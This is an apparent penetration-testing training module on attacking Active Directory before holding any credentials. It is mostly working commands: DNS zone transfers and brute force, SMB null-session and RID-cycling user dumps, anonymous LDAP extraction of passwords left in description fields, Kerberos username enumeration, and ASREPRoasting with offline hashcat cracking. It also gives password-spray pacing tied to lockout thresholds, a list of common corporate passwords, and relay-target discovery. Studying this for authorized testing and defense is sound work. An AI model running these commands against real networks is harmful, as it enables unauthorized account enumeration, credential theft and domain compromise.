Zero-Credential Domain Mapping
Pre-Authentication Reconnaissance

This module covers everything an operator can enumerate, extract, and weaponize against an Active Directory environment before possessing a single valid account credential. This is the most important phase of an AD engagement poor recon here means wasted time and unnecessary noise later.
1. Phase Overview & Methodology
Why Zero-Credential Recon Matters
Before firing a single password or capturing a single hash, the AD environment already exposes a substantial attack surface. This is not a minor detail organizations consistently underestimate how much an unauthenticated attacker can learn. In many real-world engagements, the zero-credential phase alone produces:
A complete list of valid domain user accounts
The full domain password policy (lockout threshold, duration, complexity)
Crackable Kerberos hashes for accounts with pre-authentication disabled
Internal hostnames, service names, and IP allocations from DNS
Forest and trust topology
Installed enterprise software (Exchange, SCCM, ADFS, LAPS)
Credentials stored in LDAP description fields by lazy admins
All of this before a single login attempt. The goal of this phase is to delay credential use as long as possible the more you know first, the more precisely (and quietly) you can act.
Recommended Execution Order
1. External OSINT (no network contact)
↓
2. DNS enumeration (passive first, then active)
↓
3. Network host discovery & port scanning
↓
4. SMB null session & RPC enumeration
↓
5. LDAP anonymous bind
↓
6. Kerberos user enumeration
↓
7. ASREPRoasting (if usernames found)
↓
8. Passive on-segment traffic analysis (if inside network)
↓
9. Certificate / ADFS external reconAlways exhaust passive and low-noise techniques before moving to active enumeration. Ordering matters for OpSec.
Lab Setup for This Module
# Recommended toolkit (Kali/Parrot)
sudo apt install -y ldap-utils smbclient samba-common-bin enum4linux-ng nmap \
python3-impacket krb5-user dnsutils responder
# Note: rpcclient is included with smbclient/samba-common-bin no separate install needed
# Go tools
go install github.com/ropnop/kerbrute@latest
# Python tools
pip3 install impacket bloodhound
# Set your target variables for all commands below
export DC_IP="10.10.10.1"
export DOMAIN="corp.local"
export DC_HOST="dc01.corp.local"2. OSINT & External Recon Before Touching the Network
This phase generates zero network traffic to the target. It should always be completed first.
2.1 Certificate Transparency Logs
Every TLS certificate issued by a public CA is logged in Certificate Transparency (CT) logs. Organizations using internal services with public-facing TLS OWA, ADFS, VPN portals, Azure AD Connect inadvertently expose their internal naming scheme.
# crt.sh the most comprehensive CT aggregator
curl -s "https://crt.sh/?q=%.corp.com&output=json" | \
jq -r '.[].name_value' | \
sed 's/\*\.//g' | \
sort -u | \
tee ct_hosts.txt
# Look specifically for wildcard certs reveals internal domain names
curl -s "https://crt.sh/?q=corp.local&output=json" | jq -r '.[].name_value'
# Censys requires free account but has richer data
# Search: parsed.names: corp.com AND tags: trusted
# What to look for in CT results:
# - autodiscover.corp.com → Exchange server
# - sts.corp.com / adfs.corp.com → ADFS / federated identity
# - vpn.corp.com → VPN concentrator
# - dc01.corp.local → Internal DC via SAN field
# - sccm.corp.local → SCCM (juicy lateral target)
# - exchange.corp.local → Exchange internal FQDNThe Subject Alternative Name (SAN) field in certificates is particularly valuable it often contains internal FQDNs that appear when ADFS or Exchange certs are issued by a public CA. You now have internal naming conventions without sending a single packet to the target.
2.2 Shodan & Censys for Exposed AD Services
Organizations with internet-facing LDAP, LDAPS, or RDP on DCs are common findings. Shodan and Censys let you identify these before you’re even on-network.
# Shodan CLI queries
shodan search "org:TargetCorp port:389" # LDAP
shodan search "org:TargetCorp port:636" # LDAPS
shodan search "org:TargetCorp port:3389" # RDP
shodan search "org:TargetCorp port:5985" # WinRM
shodan search "ssl.cert.subject.cn:corp.com" # By cert CN
# Censys web searches
# ip.services.port:389 AND autonomous_system.organization: "TargetCorp"
# What you get from LDAP banner:
# - Domain naming context (DC=corp,DC=local)
# - AD version
# - Sometimes: supportedExtension OIDs that reveal configuration2.3 Email Harvesting & Username Pattern Derivation
Username enumeration via OSINT is underused. Most AD environments use predictable sAMAccountName formats derived from employee names.
# theHarvester aggregates email/host data from multiple sources
# Note: linkedin was removed as a default source in theHarvester v4+
# Valid free sources: google, bing, duckduckgo, baidu, yahoo, crtsh, dnsdumpster
theHarvester -d corp.com -b google,bing,duckduckgo,crtsh -l 500 -f harvest_output
# Hunter.io reveals email format and verified addresses
# https://hunter.io/domain/corp.com (check email pattern field)
# Patterns: [email protected] → sAMAccountName: flast or firstname.lastname
# LinkedIn scraping (with proxies for scale)
python3 linkedin2username.py -u [email protected] -c "Target Corporation"
# Convert emails to usernames
cat emails.txt | awk -F@ '{print $1}' > raw_usernames.txt
# Generate username permutations from full names
# If you have "John Smith":
echo "jsmith
john.smith
johns
smithj
j.smith" >> usernames.txt2.4 Password Breach Databases & Historical Creds
Corporate emails in breach databases often correlate with AD credentials, especially where password reuse exists.
# DeHashed, IntelX, HaveIBeenPwned (API)
curl -s "https://haveibeenpwned.com/api/v3/breachedaccount/[email protected]" \
-H "hibp-api-key: YOUR_KEY"
# Check for password reuse patterns
# If breach shows "Autumn2019!" → try "Autumn2024!" or "Corp2024!"
# Season+Year patterns are extremely common in corporate environments
# Paste sites monitoring
# Use DorkSearch or PITT for GitHub dorking:
# "corp.com" "password" site:github.com
# "corp.local" extension:ps1
# "@corp.com" extension:xlsx2.5 GitHub & Code Repository Recon
Developers frequently commit AD-related secrets, internal hostnames, and service account credentials to public repositories.
# GitHub dorking
# Search queries on GitHub:
# "corp.local" password
# "corp.com" LDAP
# "@corp.com" smtp
# "dc01.corp.local"
# "domain=corp.local"
# TruffleHog scans git history for secrets
trufflehog github --org=TargetCorp
# GitLeaks
gitleaks detect --source=/path/to/cloned/repo
# What to look for:
# - PowerShell scripts with hardcoded domain\serviceaccount:password
# - web.config with LDAP bind credentials
# - Deployment scripts with domain join credentials
# - appsettings.json with AD connection strings3. Network Layer Discovery & DC Identification
3.1 Host Discovery
Before targeting DCs specifically, you need the network layout.
# ARP sweep most reliable on local segment (no firewall bypass needed)
sudo arp-scan -l # Local segment
sudo arp-scan 10.10.10.0/24
# Ping sweep with nmap (ICMP + TCP)
nmap -sn 10.10.10.0/24 -oG - | grep "Up" | awk '{print $2}' > live_hosts.txt
# Netdiscover passive + active ARP
sudo netdiscover -r 10.10.10.0/24 -P
# Masscan for large networks much faster than nmap for discovery
sudo masscan -p80,443,88,389,445,3389 10.0.0.0/8 --rate=10000 -oL masscan_out.txt3.2 DC-Specific Port Fingerprinting
Domain Controllers have a very consistent port fingerprint. Once you find hosts with this combination, you’ve found your DCs.
# Comprehensive DC port scan
nmap -p 53,88,135,139,389,445,464,636,3268,3269,3389,5985,9389 \
--open -sV -sC \
--script=ldap-rootdse,smb-os-discovery,krb5-enum-users \
-oA dc_scan \
10.10.10.0/24
# Quick DC identification just the defining ports
nmap -p 88,389,3268 --open 10.10.10.0/24What each port tells you:
Port | Protocol | What It Confirms | Intel Value |
|---|---|---|---|
88 | Kerberos | Definitely a DC | Realm name, KDC version |
389 | LDAP | DC or LDAP server | Anonymous bind possible? |
636 | LDAPS | LDAP over TLS | Certificate info, domain name |
3268 | Global Catalog | DC + GC role | Forest topology, multi-domain |
3269 | GC over TLS | Same as above | |
9389 | ADWS | Modern DC (2008R2+) | AD Web Services running |
5985 | WinRM | PS Remoting enabled | Future lateral movement |
464 | kpasswd | Kerberos pwd change |
3.3 OS & Version Fingerprinting via SMB
# SMB OS discovery reveals Windows version, build number
nmap -p 445 --script smb-os-discovery 10.10.10.1
# Grab domain info from SMB negotiation
nmap -p 445 --script smb2-security-mode,smb-security-mode 10.10.10.1
# Sample output analysis:
# OS: Windows Server 2019 Standard 17763
# Domain: CORP
# Forest name: corp.local
# Computer name: DC01
# NetBIOS computer name: DC01
# SMB signing enabled and required ← Critical for relay planning
# netexec (formerly crackmapexec) faster for large ranges
netexec smb 10.10.10.0/24 --gen-relay-list relay_targets.txt
# relay_targets.txt = hosts with SMB signing NOT required = relay candidates4. DNS Enumeration The Underutilized Gold Mine
DNS is the most information-dense, lowest-noise recon vector in an AD environment. AD is fundamentally DNS-dependent, meaning the DNS zone contains a near-complete map of the infrastructure.
4.1 SRV Record Enumeration
AD publishes SRV records that explicitly document DC locations, Kerberos KDCs, and other services. These are public by design.
# Core AD SRV records guaranteed to exist on any AD network
nslookup -type=SRV _ldap._tcp.dc._msdcs.$DOMAIN $DC_IP
nslookup -type=SRV _kerberos._tcp.$DOMAIN $DC_IP
nslookup -type=SRV _kpasswd._tcp.$DOMAIN $DC_IP
nslookup -type=SRV _kerberos._udp.$DOMAIN $DC_IP
nslookup -type=SRV _ldap._tcp.$DOMAIN $DC_IP
# GC SRV reveals Global Catalog DCs (= PDC/important DCs)
nslookup -type=SRV _gc._tcp.$DOMAIN $DC_IP
nslookup -type=SRV _ldap._tcp.gc._msdcs.$DOMAIN $DC_IP
# Site-specific DCs reveals AD site topology
nslookup -type=SRV _ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.$DOMAIN $DC_IP
# PDC emulator the primary DC (most important target)
nslookup -type=SRV _ldap._tcp.pdc._msdcs.$DOMAIN $DC_IP
# Trust records reveals trusted domains
nslookup -type=SRV _ldap._tcp.DnsDomainName._msdcs.$DOMAIN $DC_IP
# Full sweep with dig
dig SRV _ldap._tcp.dc._msdcs.$DOMAIN @$DC_IP +short
dig SRV _kerberos._tcp.$DOMAIN @$DC_IP +short
dig SRV _gc._tcp.$DOMAIN @$DC_IP +shortReading SRV records: Each record gives you priority weight port target. The target is the FQDN of the host providing the service that’s your DC name.
4.2 Zone Transfer Attempts
Zone transfers are misconfigured in a surprising number of environments, especially internal DNS zones. A successful transfer dumps the entire DNS zone every hostname, every IP.
# Attempt zone transfer
dig axfr $DOMAIN @$DC_IP
dig axfr $DOMAIN @10.10.10.1
# Try against all DNS servers found
for ns in $(dig NS $DOMAIN +short); do
echo "[*] Trying zone transfer from $ns"
dig axfr $DOMAIN @$ns
done
# Windows DNS server attempt incremental zone transfer (serial 0 = request full diff)
dig @$DC_IP $DOMAIN IXFR=0
# If successful parse the output
dig axfr $DOMAIN @$DC_IP | grep -E "^[a-zA-Z]" | awk '{print $1, $4, $5}' | \
sort | tee zone_transfer.txt
# What a successful transfer reveals:
# - All hostnames and their IPs
# - Server naming conventions (srv-sql01, mgmt-ws-001, etc.)
# - Network segment allocation
# - Printer/device hostnames
# - Internal application servers4.3 DNS Brute Force
When zone transfers are blocked, brute force the DNS zone against the internal DNS server.
# gobuster fast DNS brute force
gobuster dns -d $DOMAIN -r $DC_IP \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
-t 50 --timeout 3s
# dnsrecon comprehensive DNS enumeration tool
dnsrecon -d $DOMAIN -n $DC_IP -t brt \
-D /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt
# Also run standard AD-specific wordlist
cat << 'EOF' > ad_hosts.txt
dc
dc01
dc02
dc1
dc2
pdc
bdc
exchange
exch
mail
smtp
fs
fs01
fileserver
files
sccm
scom
sql
sql01
mssql
rdgw
rdweb
adfs
sts
vpn
proxy
wpad
wsus
print
scanner
backup
veeam
EOF
gobuster dns -d $DOMAIN -r $DC_IP -w ad_hosts.txt -t 20
# dnsx fast, multi-threaded
cat ad_hosts.txt | dnsx -d $DOMAIN -r $DC_IP -a -resp4.4 Reverse DNS & PTR Records
# Reverse sweep a subnet
dnsrecon -r 10.10.10.0/24 -n $DC_IP
# Manual PTR lookup
for i in $(seq 1 254); do
host 10.10.10.$i $DC_IP 2>/dev/null | grep "domain name pointer" && \
echo "10.10.10.$i"
done
# nmap reverse DNS
nmap -sn -R 10.10.10.0/24 --dns-servers $DC_IP4.5 WPAD & mDNS Discovery
# Check for WPAD record proxy auto-discovery
nslookup wpad $DC_IP
nslookup wpad.$DOMAIN $DC_IP
# If WPAD exists, clients may auto-configure proxy through this host
# This is relevant for relay attack planning
# mDNS enumeration (Bonjour/Avahi common on modern networks)
avahi-browse -at 2>/dev/null | head -505. SMB Null Sessions & RPC Enumeration
5.1 Understanding Null Sessions
A null session is an anonymous SMB connection (blank username, blank password) to the IPC$ share. Historically, null sessions exposed the entire SAM database. Modern Windows defaults have restricted this significantly, but misconfigurations remain common especially in environments upgraded from older Windows Server versions, or those with Group Policy conflicts.
# Test basic null session
smbclient -N -L //$DC_IP
# If you see share list → null session allowed
# rpcclient the most powerful null session tool
rpcclient -U "" -N $DC_IP
# Within rpcclient, run:
rpcclient $> enumdomusers # All domain users with RIDs
rpcclient $> enumdomgroups # All domain groups
rpcclient $> querydominfo # Domain info (lockout policy, user count)
rpcclient $> getdompwinfo # Password policy
rpcclient $> enumprinters # Printers (reveals hostnames)
rpcclient $> netshareenum # Enumerate shares
rpcclient $> lsaquery # LSA policy info
rpcclient $> enumdomsids # Enumerate domain SIDs5.2 Detailed Password Policy Extraction
This is critical before any spray attempt. Getting locked out on an engagement is a career-limiting event.
# Via rpcclient
rpcclient -U "" -N $DC_IP -c "getdompwinfo"
# Output includes:
# min_password_length: 8
# password_properties: 0x00000001 ← DOMAIN_PASSWORD_COMPLEX
# max_password_age: 42 days
# min_password_age: 1 day
# password_history_length: 24
# lockout_threshold: 5 ← CRITICAL
# lockout_duration: 30 minutes
# lockout_observation_window: 30 minutes
# Via enum4linux-ng (wraps everything)
enum4linux-ng -P $DC_IP
# Via nmap script
nmap -p 445 --script smb-enum-domains $DC_IP
# Parsing lockout settings:
# lockout_threshold: 0 → no lockout (spray freely)
# lockout_threshold: 3 → very restrictive (1 attempt per 30min window)
# lockout_threshold: 5-10 → typical (spray 1 per 30min to be safe)
# lockout_threshold: 20+ → lenient (spray faster)5.3 Full User Enumeration via RPC
# Automated - enum4linux-ng does everything
# -oA writes all output formats (JSON + YAML) with given prefix
enum4linux-ng -A $DC_IP -oA enum_output
# Manual rpcclient user enumeration with SID cycling
rpcclient -U "" -N $DC_IP -c "enumdomusers" 2>/dev/null | \
grep -oP '\[.*?\]' | grep -v '0x' | tr -d '[]' | tee domain_users.txt
# RID cycling enumerate users by RID (works even when enumdomusers is blocked)
# Domain SID is typically: S-1-5-21-<3 numbers>
# Well-known RIDs: 500=Administrator, 501=Guest, 502=krbtgt
# User RIDs typically start at 1000
# Get domain SID first
rpcclient -U "" -N $DC_IP -c "lsaquery" | grep "Domain Sid"
# Then cycle RIDs
for rid in $(seq 500 1200); do
rpcclient -U "" -N $DC_IP \
-c "queryuser $rid" 2>/dev/null | \
grep "User Name\|Acct Flags" && echo "RID: $rid"
done
# Automated RID cycling
impacket-lookupsid -no-pass ''@$DC_IP 2>/dev/null | \
grep "SidTypeUser" | \
awk '{print $2}' | \
cut -d'\' -f2 | \
tee rid_users.txt5.4 RPC Endpoint Mapper
# Dump all RPC endpoints no auth required
impacket-rpcdump @$DC_IP | tee rpcdump_output.txt
# Parse for interesting services
impacket-rpcdump @$DC_IP | grep -E "ms-exchange|mssched|MicrosoftExchange|SCCM|sms"
# What rpcdump reveals:
# - Exact OS version from binding annotations
# - Exchange presence (specific UUIDs)
# - SCCM/SMS presence
# - Internal IP addresses in ncacn_ip_tcp bindings (behind NAT → reveals internal IPs)
# - Remote registry service running
# - Task scheduler accessible
# Specifically check for dangerous RPC interfaces:
impacket-rpcdump @$DC_IP | grep -E "DRSR|samr|lsarpc|netlogon"
# DRSR = DCSync-capable interface
# samr = SAM access
# lsarpc = LSA interface6. LDAP Anonymous Bind Enumeration
6.1 Testing for Anonymous Bind
LDAP anonymous bind allows unauthenticated queries to the directory. While default Windows Server configurations restrict this, many organizations explicitly enable it for legacy application compatibility.
# Test for anonymous bind capability
ldapsearch -x -H ldap://$DC_IP -b "" -s base "(objectClass=*)" \
namingContexts defaultNamingContext ldapServiceName serverName
# Successful response includes:
# namingContexts: DC=corp,DC=local ← Your base DN
# namingContexts: CN=Configuration,DC=corp,DC=local
# namingContexts: CN=Schema,CN=Configuration,DC=corp,DC=local
# namingContexts: DC=DomainDnsZones,DC=corp,DC=local
# Check for extended capabilities
ldapsearch -x -H ldap://$DC_IP -b "" -s base "(objectClass=*)" \
supportedSASLMechanisms supportedExtension supportedControl \
supportedLDAPVersion
# LDAPS (port 636) try both
ldapsearch -x -H ldaps://$DC_IP -b "" -s base namingContexts6.2 Full Directory Enumeration via Anonymous Bind
If anonymous bind is permitted, you have read access to the directory. This is equivalent to having a low-privilege domain account for enumeration purposes.
# Set your base DN
BASE="DC=corp,DC=local"
# Dump all users most critical query
ldapsearch -x -H ldap://$DC_IP -b "$BASE" \
"(objectClass=user)" \
sAMAccountName userPrincipalName description \
pwdLastSet userAccountControl memberOf \
mail telephoneNumber department \
2>/dev/null | tee ldap_users.txt
# Extract just the usernames
grep "^sAMAccountName:" ldap_users.txt | awk '{print $2}' | tee usernames.txt
# Dump all groups + memberships
ldapsearch -x -H ldap://$DC_IP -b "$BASE" \
"(objectClass=group)" \
cn member managedBy description \
2>/dev/null | tee ldap_groups.txt
# Find privileged group memberships
ldapsearch -x -H ldap://$DC_IP -b "$BASE" \
"(cn=Domain Admins)" member
ldapsearch -x -H ldap://$DC_IP -b "$BASE" \
"(cn=Enterprise Admins)" member
# Computers
ldapsearch -x -H ldap://$DC_IP -b "$BASE" \
"(objectClass=computer)" \
cn dNSHostName operatingSystem operatingSystemVersion \
2>/dev/null | tee ldap_computers.txt
# Parse OS versions
grep -E "operatingSystem:|operatingSystemVersion:" ldap_computers.txt | \
sort | uniq -c | sort -rn6.3 High-Value Attribute Extraction
BASE="DC=corp,DC=local"
# ===== ACCOUNTS WITH PASSWORDS IN DESCRIPTION FIELD =====
# Lazy admins frequently put "Temp password: Winter2023!" in description
ldapsearch -x -H ldap://$DC_IP -b "$BASE" \
"(&(objectClass=user)(description=*))" \
sAMAccountName description | \
grep -E "sAMAccountName:|description:" | \
paste - - | grep -iv "Built-in\|service account created"
# ===== ACCOUNTS WITH PASSWORD NOT REQUIRED =====
# userAccountControl bit 0x20 = PASSWD_NOTREQD
# UAC value includes this if (uac_value & 32) = 32
ldapsearch -x -H ldap://$DC_IP -b "$BASE" \
"(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" \
sAMAccountName userAccountControl
# ===== ACCOUNTS WITH NO PASSWORD EXPIRY =====
# UAC bit 0x10000 = DONT_EXPIRE_PASSWORD
ldapsearch -x -H ldap://$DC_IP -b "$BASE" \
"(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))" \
sAMAccountName
# ===== ASREPRoastable ACCOUNTS (no pre-auth) =====
# UAC bit 0x400000 = DONT_REQUIRE_PREAUTH
ldapsearch -x -H ldap://$DC_IP -b "$BASE" \
"(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
sAMAccountName
# ===== KERBEROASTABLE ACCOUNTS (have SPNs) =====
# These have servicePrincipalName set → targetable once you have any creds
# But check now so you know they exist
ldapsearch -x -H ldap://$DC_IP -b "$BASE" \
"(&(objectClass=user)(servicePrincipalName=*)(!(samAccountName=krbtgt)))" \
sAMAccountName servicePrincipalName
# ===== STALE ACCOUNTS (not logged in for 90+ days) =====
# Good candidates for password spray (may have old/unchanged passwords)
ldapsearch -x -H ldap://$DC_IP -b "$BASE" \
"(&(objectClass=user)(lastLogonTimestamp<=132000000000000000))" \
sAMAccountName lastLogonTimestamp
# ===== LAPS DEPLOYMENT CHECK =====
# If ms-Mcs-AdmPwd is in the schema, LAPS is deployed
# This tells you local admin passwords are managed (not default)
ldapsearch -x -H ldap://$DC_IP \
-b "CN=Schema,CN=Configuration,DC=corp,DC=local" \
"(name=ms-Mcs-AdmPwd)" lDAPDisplayName
# ===== FINE-GRAINED PASSWORD POLICY =====
# PSOs override the default domain policy for specific accounts/groups
ldapsearch -x -H ldap://$DC_IP \
-b "CN=Password Settings Container,CN=System,DC=corp,DC=local" \
"(objectClass=msDS-PasswordSettings)" \
msDS-MinimumPasswordLength msDS-LockoutThreshold \
msDS-LockoutObservationWindow msDS-PSOAppliesTo6.4 Trust & Forest Enumeration
BASE="DC=corp,DC=local"
# Domain trusts
ldapsearch -x -H ldap://$DC_IP \
-b "CN=System,$BASE" \
"(objectClass=trustedDomain)" \
cn trustType trustAttributes trustDirection flatName
# Trust direction values:
# 1 = Inbound (trusted domain trusts us they can auth here)
# 2 = Outbound (we trust them we can auth there)
# 3 = Bidirectional
# Trust type values:
# 1 = Windows NT downlevel
# 2 = Active Directory (Kerberos)
# 3 = MIT Kerberos realm
# Sites and subnets reveals network topology
ldapsearch -x -H ldap://$DC_IP \
-b "CN=Sites,CN=Configuration,$BASE" \
"(objectClass=subnet)" cn siteObject7. Kerberos Pre-Authentication Attacks
7.1 Username Enumeration via AS-REQ Probing
The Kerberos AS-REQ / AS-REP exchange is stateless and leaks account validity through different error codes. This is the fastest, most reliable username enumeration method in modern AD environments.
# kerbrute the gold standard for Kerberos enumeration
# --safe skips accounts that already have bad password count (avoids triggering lockout)
kerbrute userenum \
--dc $DC_IP \
-d $DOMAIN \
--output valid_users.txt \
--safe \
/usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
# With custom wordlist from OSINT phase
# --delay adds milliseconds between requests for OpSec
kerbrute userenum \
--dc $DC_IP \
-d $DOMAIN \
--delay 500 \
--output valid_users.txt \
custom_users.txt
# Output: marks each result with [+] VALID for confirmed accountsKerberos Error Code Reference Critical Knowledge:
Error Code | Numeric | Meaning | Action |
|---|---|---|---|
| 6 | Username does NOT exist | Discard |
| 25 | Username valid, needs pre-auth | Keep normal account |
| 18 | Account disabled/expired/locked | Keep account exists |
| 23 | Password expired | Keep must change pw |
| 36 | Workstation/time restriction | Keep account valid |
| 68 | Wrong domain name | Fix your domain name |
Note: Error 18 (CLIENT_REVOKED) is especially valuable it tells you the account exists even if disabled. Disabled accounts may still have valid credentials if re-enabled.
7.2 ASREPRoasting Without Credentials
ASREPRoasting targets accounts with “Do not require Kerberos preauthentication” enabled. When this flag is set, anyone can request a TGT (AS-REP) for that account without knowing the password. The TGT contains data encrypted with the user’s password hash which is then crackable offline.
# GetNPUsers request AS-REPs for no-preauth accounts
# With username list (no credentials needed)
impacket-GetNPUsers $DOMAIN/ \
-usersfile valid_users.txt \
-no-pass \
-dc-ip $DC_IP \
-format hashcat \
-outputfile asrep_hashes.txt
# Alternative format for John
impacket-GetNPUsers $DOMAIN/ \
-usersfile valid_users.txt \
-no-pass \
-dc-ip $DC_IP \
-format john \
-outputfile asrep_john.txt
# Pipe usernames found via LDAP anon bind directly into GetNPUsers
ldapsearch -x -H ldap://$DC_IP -b "DC=corp,DC=local" \
"(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
sAMAccountName | grep "^sAMAccountName:" | awk '{print $2}' | \
while read user; do
impacket-GetNPUsers $DOMAIN/$user -no-pass -dc-ip $DC_IP -format hashcat 2>/dev/null
done >> asrep_hashes.txt
# Crack offline NO network traffic, no lockout risk
# hashcat mode 18200 = Kerberos 5 AS-REP etype 23
hashcat -m 18200 asrep_hashes.txt rockyou.txt --force
hashcat -m 18200 asrep_hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 18200 asrep_hashes.txt rockyou.txt -r /usr/share/hashcat/rules/d3ad0ne.rule
# Corporate password patterns create a targeted wordlist
cat << 'EOF' > corporate_patterns.txt
Company2024!
Company2024
Company@2024
Welcome1
Welcome1!
Password1
Password1!
Winter2024!
Spring2024!
Summer2024!
Autumn2024!
Fall2024!
Jan2024!
Feb2024!
Jan@2024
Changeme1!
EOF
# Add company-specific terms
echo "Corp2024!" >> corporate_patterns.txt
echo "CorpName2024!" >> corporate_patterns.txt7.3 Understanding the AS-REP Hash Structure
The hash format returned by GetNPUsers:
$krb5asrep$23$user@CORP.LOCAL:AAAA...<ticket>...<encrypted_part>$23$= etype 23 = RC4-HMACThe encrypted portion is encrypted with the user’s NT hash
Cracking this is equivalent to cracking the NT hash (same process, same wordlists)
If the account uses AES (
$17$or$18$), cracking is significantly slower
# If you get AES-encrypted AS-REPs (etype 17/18):
# hashcat does not have a dedicated ASREP-AES mode in most builds.
# Use john for AES ASREP hashes it handles $krb5asrep$17$ and $krb5asrep$18$ natively
john asrep_hashes.txt --wordlist=rockyou.txt --format=krb5asrep
# Alternatively, if using a modern hashcat build that supports etype 17/18 ASREP:
# Verify your hashcat version supports these modes before using
hashcat -m 19600 asrep_aes128.txt wordlist.txt # etype 17, TGS-REP AES128 (Kerberoast confirm mode applies to your hash format)
hashcat -m 19700 asrep_aes256.txt wordlist.txt # etype 18, TGS-REP AES256
# RC4 (etype 23) ASREP remains the most crackable and common always try to obtain etype 23
# GetNPUsers will return RC4 by default unless the domain enforces AES-only8. Passive On-Segment Recon Responder & Traffic Analysis
When you have physical or logical access to a network segment (post VPN, wireless, physical plant access), passive traffic analysis is the lowest-noise, highest-reward technique available.
8.1 Responder in Analyze Mode
Responder is typically known as a poisoning tool but its -A (analyze) flag runs it purely in listen mode. No poisoning, no modification, no response injection. Pure intelligence collection.
# Analyze mode completely passive, no traffic injection
sudo responder -I eth0 -A
# What Responder captures in analyze mode:
# [+] NBT-NS queries → hostnames trying to resolve
# [+] LLMNR queries → hostnames with failed DNS
# [+] MDNS queries → local service discovery
# [+] HTTP → Basic/NTLM auth attempts (including username)
# [+] NTLM Type-1/2/3 messages → domain\username in Type-3
# [+] Browser queries → NetBIOS browser electionsReading Responder analyze output:
[Analyze mode: LLMNR] Request by 10.10.10.50 for FILESERVER01, ignoring.
→ Host 10.10.10.50 is trying to reach FILESERVER01 (doesn't exist in DNS)
→ FILESERVER01 is a hostname to add to your target list
[Analyze mode: NBT-NS] Request by 10.10.10.25 for WPAD, ignoring.
→ WPAD proxy auto-discovery is active on this segment
→ WPAD poisoning would redirect HTTP traffic
[HTTP] NTLMv2 Client: 10.10.10.33 Username: CORP\jsmith
→ John Smith is authenticating somewhere over HTTP from 10.10.10.33
→ His username format is confirmed: jsmith
→ If you were poisoning, you'd have his NTLMv2 hash right now8.2 Passive Packet Capture Analysis
# Tcpdump capture Kerberos and NTLM traffic passively
sudo tcpdump -i eth0 -w capture.pcap \
"port 88 or port 389 or port 445 or port 80 or port 443"
# Tshark parse Kerberos exchanges
tshark -r capture.pcap -Y "kerberos" \
-T fields -e kerberos.CNameString -e kerberos.realm \
2>/dev/null | sort -u
# Parse NTLM from capture
tshark -r capture.pcap -Y "ntlmssp" \
-T fields \
-e ntlmssp.auth.domain \
-e ntlmssp.auth.username \
-e ntlmssp.auth.hostname \
2>/dev/null | sort -u
# Extract NTLMv2 hashes from capture (if traffic is unencrypted)
# Use PCredz
python3 Pcredz -f capture.pcap
# What passive capture reveals:
# - Active usernames (from Kerberos CName and NTLM auth)
# - Workstation-to-user mappings (who is logged into which machine)
# - Service SPNs being requested (→ Kerberoastable services)
# - Domain name and realm
# - Authentication failures (→ bad password attempts, account states)8.3 NTLM Relay Target Discovery
Even in analyze mode, you can identify relay candidates hosts without SMB signing that would be vulnerable if you switched to active mode.
# Identify SMB signing status across the subnet
netexec smb 10.10.10.0/24 --gen-relay-list relay_targets.txt 2>/dev/null
# relay_targets.txt contains all hosts with signing:False relay candidates
# Count by signing status
netexec smb 10.10.10.0/24 2>/dev/null | \
grep -E "signing:True|signing:False" | \
awk '{print $NF}' | sort | uniq -c9. Certificate Services Recon (Unauthenticated)
Active Directory Certificate Services (AD CS) is increasingly targeted, and much of its attack surface is enumerable without credentials.
9.1 Identifying CA Infrastructure
# Find CA servers via DNS
nslookup -type=A "ca.$DOMAIN" $DC_IP
nslookup -type=A "pki.$DOMAIN" $DC_IP
nslookup -type=A "certsrv.$DOMAIN" $DC_IP
nslookup -type=A "adcs.$DOMAIN" $DC_IP
# HTTP web enrollment interface (no auth for initial page)
curl -s -I http://CA_SERVER/certsrv/
# 200 → Web enrollment active (unauthenticated access to enrollment page)
# 401 → Requires auth but confirms ADCS web enrollment is present
# LDAP query for CA objects (with anon bind)
ldapsearch -x -H ldap://$DC_IP \
-b "CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" \
"(objectClass=certificationAuthority)" \
cn dNSHostName cACertificate
# Check for published certificate templates (readable structure)
ldapsearch -x -H ldap://$DC_IP \
-b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" \
"(objectClass=pKICertificateTemplate)" \
cn msPKI-Certificate-Name-Flag msPKI-Enrollment-Flag \
pkiExtendedKeyUsage
# ADFS endpoint discovery
curl -s https://sts.$DOMAIN/adfs/ls/idpinitiatedsignon.aspx
curl -s https://adfs.$DOMAIN/adfs/fs/federationserverservice.asmx
# Reveals: federation metadata, IdP name, domain hint9.2 ADFS & External Federation Intel
# Fetch ADFS metadata publicly accessible, no auth
curl -s https://sts.$DOMAIN/FederationMetadata/2007-06/FederationMetadata.xml | \
xmllint --format - | head -100
# What ADFS metadata reveals:
# - Internal domain name (even if external domain differs)
# - Token signing certificate (can enumerate users via ADFS)
# - Endpoint URLs
# AADInternals-style ADFS user enumeration
# POST to the usernamemixed endpoint with a candidate username
curl -s -X POST "https://sts.$DOMAIN/adfs/services/trust/2005/usernamemixed" \
-H "Content-Type: application/soap+xml; charset=utf-8" \
--data '<?xml version="1.0"?>...' | grep -i "DesktopSSOToken\|FailedAuthentication"
# Different responses for valid vs invalid usernames (similar to Kerberos)10. Synthesizing Intel Building the Attack Map
After completing all phases, organize your findings into an actionable picture:
10.1 Consolidated Output Structure
/recon/
├── scope/
│ ├── dc_hosts.txt # DC hostnames and IPs
│ ├── live_hosts.txt # All live hosts on network
│ └── network_ranges.txt # Identified subnets from DNS/PTR
├── users/
│ ├── all_users.txt # Complete user list
│ ├── valid_users.txt # Kerbrute confirmed
│ ├── no_preauth.txt # ASREPRoastable targets
│ ├── asrep_hashes.txt # Raw hashes to crack
│ └── cracked_hashes.txt # Cracked credentials
├── policy/
│ ├── password_policy.txt # Lockout threshold, complexity
│ └── fine_grained_pso.txt # Per-group policies
├── trust/
│ └── domain_trusts.txt # Trusted domains
├── services/
│ ├── spns.txt # Kerberoastable SPNs (for after first cred)
│ ├── adcs_cas.txt # Certificate Authority info
